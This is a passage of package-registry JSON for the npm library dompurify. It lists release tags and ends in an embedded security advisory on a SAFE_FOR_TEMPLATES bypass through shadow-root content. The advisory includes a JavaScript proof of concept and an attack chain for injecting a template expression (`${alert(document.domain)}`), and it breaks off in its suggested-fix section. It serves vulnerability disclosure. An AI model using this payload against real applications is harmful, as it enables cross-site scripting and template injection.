/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.2/manifests","release_url":null},{"name":"1.0.1","sha":"19f8c6fce0b4cbb3f16a4089ef77f69be3c8645f","kind":"commit","published_at":"2017-08-21T07:00:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.1/manifests","release_url":null},{"name":"1.0.0","sha":"4d0115a125b295e8b8e9fe4353222da53e543ba0","kind":"commit","published_at":"2017-08-15T15:11:14.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.0/manifests","release_url":null},{"name":"0.9.0","sha":"d91304b6aa24529521a34dfbe247369db23a8a88","kind":"commit","published_at":"2017-05-18T14:11:08.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.9.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.9.0/manifests","release_url":null},{"name":"0.8.9","sha":"4465943c936b90fa966776d95dc360917801d80f","kind":"commit","published_at":"2017-05-03T06:20:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.9/manifests","release_url":null},{"name":"0.8.8","sha":"da2484d19b61b5eb35a8dad3460f0b193ac8cb2c","kind":"commit","published_at":"2017-04-25T07:45:59.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.8/manifests","release_url":null},{"name":"0.8.7","sha":"da2484d19b61b5eb35a8dad3460f0b193ac8cb2c","kind":"commit","published_at":"2017-04-25T07:45:59.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.7/manifests","release_url":null},{"name":"0.8.6","sha":"b317725c72a3af14ee3aa3d6d61e5286bb917572","kind":"commit","published_at":"2017-04-21T13:40:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.6/manifests","release_url":null},{"name":"0.8.5","sha":"4222069a807a819dc6cb0a6cc0a1b99ef1ca4c56","kind":"commit","published_at":"2017-02-07T13:13:51.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.5/manifests","release_url":null},{"name":"0.8.4","sha":"9be8f9def3124ccf2db71b7711027b55f9b90f48","kind":"commit","published_at":"2016-11-02T11:27:55.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.4/manifests","release_url":null},{"name":"0.8.3","sha":"aeff130200ccb13de255847e62a9c01d862c351f","kind":"commit","published_at":"2016-08-18T14:55:32.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.3/manifests","release_url":null},{"name":"0.8.2","sha":"d9c3bef885888074a544a8310d17deb74bf778d3","kind":"commit","published_at":"2016-06-09T16:13:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.2/manifests","release_url":null},{"name":"0.8.1","sha":"e1980deca341420b106792b76fef81fcd8ffad55","kind":"commit","published_at":"2016-06-06T11:19:59.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.1/manifests","release_url":null},{"name":"0.8.0","sha":"7aa9772fe25bc0b51dac9e381e5142cd5ed2fa16","kind":"commit","published_at":"2016-05-24T13:19:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.0/manifests","release_url":null},{"name":"0.7.4","sha":"75e108809a90749417e375193531f7305f647cd4","kind":"commit","published_at":"2016-02-17T13:26:02.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.4/manifests","release_url":null},{"name":"0.7.3","sha":"eb3735607e1dc6dc40d2e3c98ffe03cd898aa6b1","kind":"commit","published_at":"2015-11-25T13:54:11.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.3/manifests","release_url":null},{"name":"0.7.2","sha":"c8014de5831ce6919cad57b3159ac0fef1264c00","kind":"commit","published_at":"2015-10-17T19:46:14.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.2/manifests","release_url":null},{"name":"0.7.1","sha":"fac1062503fd62efbde438680bc1cbc4eb0b621f","kind":"commit","published_at":"2015-10-02T09:01:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.1/manifests","release_url":null},{"name":"0.7.0","sha":"555114d66fbab5e5b5019e6340792afee5ae5e17","kind":"commit","published_at":"2015-09-22T09:48:07.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.7.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.7.0/manifests","release_url":null},{"name":"0.6.7","sha":"4fb4fbd16ba3db88c0cd024950534069f6900502","kind":"commit","published_at":"2015-09-17T12:45:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.7/manifests","release_url":null},{"name":"0.6.6","sha":"6c15eff8e194a8b4f3fd53f73a33d8b1012c88f8","kind":"commit","published_at":"2015-09-15T09:11:20.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.6/manifests","release_url":null},{"name":"0.6.5","sha":"0a4a0cd1e2f63e6ff777a53d9519459c9239e38b","kind":"commit","published_at":"2015-08-04T12:59:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.5/manifests","release_url":null},{"name":"0.6.4","sha":"b8b3ab6530f0da9037cf73dfe7a95fcc9a105ecd","kind":"commit","published_at":"2015-05-25T11:39:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.4/manifests","release_url":null},{"name":"0.6.3","sha":"df25a9cb0bd1538266cace4ed8c0955556ff3d46","kind":"commit","published_at":"2015-04-07T13:55:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.3/manifests","release_url":null},{"name":"0.6.2","sha":"eff80b05eb28f6e9bbfe10adbdaa0008b3986058","kind":"commit","published_at":"2015-03-31T13:41:51.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.2/manifests","release_url":null},{"name":"0.6.1","sha":"36e1bf63d405ac2b90a26ebe6f37deb58978a04e","kind":"commit","published_at":"2015-02-23T08:42:58.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.1/manifests","release_url":null},{"name":"0.6.0","sha":"e5735cd4f8394cd555e8f1f2cc9f9f0958dc4d16","kind":"commit","published_at":"2015-02-16T12:55:29.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.6.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.6.0/manifests","release_url":null},{"name":"0.4.5","sha":"d2d3130881f1a2b91015ff1af4e4172bc0d9c97d","kind":"commit","published_at":"2015-01-16T12:16:03.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.5/manifests","release_url":null},{"name":"0.4.4","sha":"2f562ba382ac1ab67afaac8ef8034ee2a8a0afe9","kind":"commit","published_at":"2014-10-13T11:22:26.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.4/manifests","release_url":null},{"name":"0.4.3","sha":"db63f5f89ad65f0e7b95ed9d96cca27ef43cec17","kind":"commit","published_at":"2014-10-04T12:36:35.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.3/manifests","release_url":null},{"name":"0.4.2","sha":"09b707ffaa8b6b03d3cd9f873008bd3c31f2dcbb","kind":"commit","published_at":"2014-06-03T18:35:19.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4.2/manifests","release_url":null},{"name":"0.4","sha":"c27e5c5cb30ab26213c435a1acc6e6ebb6e6d50f","kind":"commit","published_at":"2014-05-11T12:48:46.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.4/manifests","release_url":null},{"name":"0.3","sha":"839915a3872dc95d148917338d5812430a6cb249","kind":"commit","published_at":"2014-04-16T11:14:13.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.3/manifests","release_url":null},{"name":"v0.3","sha":"93c2331702576ceee85fd827df8af07316dea206","kind":"commit","published_at":"2014-04-05T09:31:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/v0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/v0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@v0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/v0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/v0.3/manifests","release_url":null},{"name":"0.1","sha":"722fb0ad4c3d27e773fb2db4a375135e0d1538b6","kind":"commit","published_at":"2014-03-01T14:19:37.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.1/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-10-24T19:16:59.464Z","dependent_packages_count":1705,"downloads":264080264,"downloads_period":"last-month","dependent_repos_count":56633,"rankings":{"downloads":0.05894876796253564,"dependent_repos_count":0.12843876939723858,"dependent_packages_count":0.0449029166087127,"stargazers_count":0.9306950861971719,"forks_count":1.4237510144225978,"docker_downloads_count":0.05738811781211086,"average":0.4406874454000613},"purl":"pkg:npm/dompurify","advisories":[{"uuid":"GSA_kwCzR0hTQS1jZzJnLXhoNjQtdjRxN84AB_Gf","url":"https://github.com/advisories/GHSA-cg2g-xh64-v4q7","title":"DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes","description":"## Summary\n\nWhen DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and `\u003c%...%\u003e` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into `\u003ctemplate\u003e.content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.\n\n## Root Cause\n\n`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.\n\n```text\n_scrubTemplateExpressions (src/purify.ts:1717-1751):\n  - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).\n  - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).\n  - Explicit recursion at lines 1743-1750 enters \u003ctemplate\u003e.content only, via\n    querySelectorAll('template'); there is no equivalent recursion into attached\n    shadow roots.\nShadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which\napplies the per-node strip but never performs the post-walk normalize-and-rescrub.\n```\n\nShadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.\n\n## Impact\n\nAn attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable `SAFE_FOR_TEMPLATES` and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with `attachShadow`: in engines that support declarative shadow DOM, attacker-supplied markup containing `\u003ctemplate shadowrootmode=\"open\"\u003e` parsed through `setHTMLUnsafe` or `Document.parseHTMLUnsafe` produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.\n\n## Proof of Concept\n\n```text\nPreconditions:\n  - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).\n  - A browser (or DOM implementation) with shadow DOM support.\n  - Application constructs a DOM node with an attached shadow root before sanitizing,\n    and later evaluates the shadow root's text content as a template.\n```\n\nBuild a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with `SAFE_FOR_TEMPLATES`:\n\n```javascript\nconst host = document.createElement('div');\nconst root = host.attachShadow({ mode: 'open' });\n\n// Split \"${alert(document.domain)}\" so no single fragment matches a regex.\n// \u003cobject\u003e is not in the default ALLOWED_TAGS and is removed during sanitization,\n// leaving the surrounding text-node siblings adjacent.\nroot.appendChild(document.createTextNode('$'));\nroot.appendChild(document.createElement('object'));\nroot.appendChild(document.createTextNode('{alert(document.domain)}'));\n\nDOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// After the disallowed element is removed, the fragments are adjacent and survive.\nhost.shadowRoot.normalize();\nconsole.log(host.shadowRoot.textContent);\n```\n\n```text\n${alert(document.domain)}\n```\n\nA downstream template evaluator reading `shadowRoot.textContent` (for example `new Function('return `' + content + '`')()` or any `${...}`/`{{...}}` engine) then evaluates the fully formed expression.\n\n## Attack Chain\n\n1. **Exposure:** The application calls `DOMPurify.sanitize(node, cfg)` (`src/purify.ts:2854`) with `SAFE_FOR_TEMPLATES: true` and `IN_PLACE: true` (or a shadow-aware `RETURN_DOM`), passing a DOM node that already carries an attached shadow root.\n2. **Control:** The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment (`$`, `{alert(document.domain)}`) is a valid, individually benign text node.\n3. **Path:** `_sanitizeAttachedShadowRoots` (`src/purify.ts:2977`) feeds the shadow root into `_sanitizeShadowDOM` (`src/purify.ts:2710`), which strips expressions per text node (`src/purify.ts:2246`) and removes the disallowed separator elements, leaving the fragments adjacent.\n4. **Guard:** The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:3131-3132`) is the only pass that would catch the merged expression, but it never recurses into shadow roots (`src/purify.ts:1717-1751` recurses into `\u003ctemplate\u003e.content` only).\n5. **Primitive:** The adjacent fragments serialize as a single concatenated string on `shadowRoot.textContent` / `shadowRoot.innerHTML`, reconstituting the complete expression.\n6. **Result:** A downstream template engine evaluates the attacker-chosen expression, achieving script execution (or template injection) in the engine's context.\n\n## Bypass Evidence\n\nThe relevant protection is `SAFE_FOR_TEMPLATES`, specifically the post-walk pass that defends against expressions that only form after adjacent text nodes merge. That defense was previously extended to `\u003ctemplate\u003e.content` under CVE-2026-65900 (GHSA-gvmj-g25r-r7wr) by adding `querySelectorAll('template')` recursion at `src/purify.ts:1743-1750`. The strongest challenge is whether any code path performs the equivalent merge-and-rescrub inside shadow roots. Enumerating every call site of `_scrubTemplateExpressions` (`src/purify.ts:1717`, `1747`, `3132`, `3141`) shows none receive a shadow root, and `_sanitizeShadowDOM` (`src/purify.ts:2710`) never calls `_scrubTemplateExpressions` or `normalize()`. The per-node strip cannot compensate: `MUSTACHE_EXPR` (`src/regexp.ts:3`) requires `{{` or `}}`, `TMPLIT_EXPR` (`src/regexp.ts:5`) requires `${`, and `ERB_EXPR` (`src/regexp.ts:4`) requires `\u003c%` or `%\u003e`, none of which appear in a single-character fragment. The CVE-2026-65900 regression tests exercise `\u003ctemplate\u003e.content` only; no test covers shadow root content under `SAFE_FOR_TEMPLATES`. The gap is therefore an unfixed case on a distinct remediation boundary (shadow roots) rather than a bypass of the delivered template-content fix.\n\n## Affected Versions\n\n- **Ecosystem:** `npm`\n- **Package:** `dompurify`\n- **Confirmed affected range:** `\u003e= 3.4.4, \u003c= 3.4.16`\n- **Latest release checked:** `3.4.16` ([npm registry](https://www.npmjs.com/package/dompurify/v/3.4.16))\n- **Fix status:** not fixed\n\nThe lower bound 3.4.4 is the release that introduced both the attached-shadow-root sanitization pass and the `_scrubTemplateExpressions` safety net; releases 3.4.4 through 3.4.7 carry the safety net with no content-container recursion, and 3.4.8 onward add `\u003ctemplate\u003e.content` recursion but still omit shadow root recursion. No published release and no current development revision contains a shadow-root fix.\n\n## Suggested Fix\n\nEnforce the same post-walk normalize-and-rescrub invariant on attached shadow roots that already applies to `\u003ctemplate\u003e.content`. After `_sanitizeShadowDOM` finishes 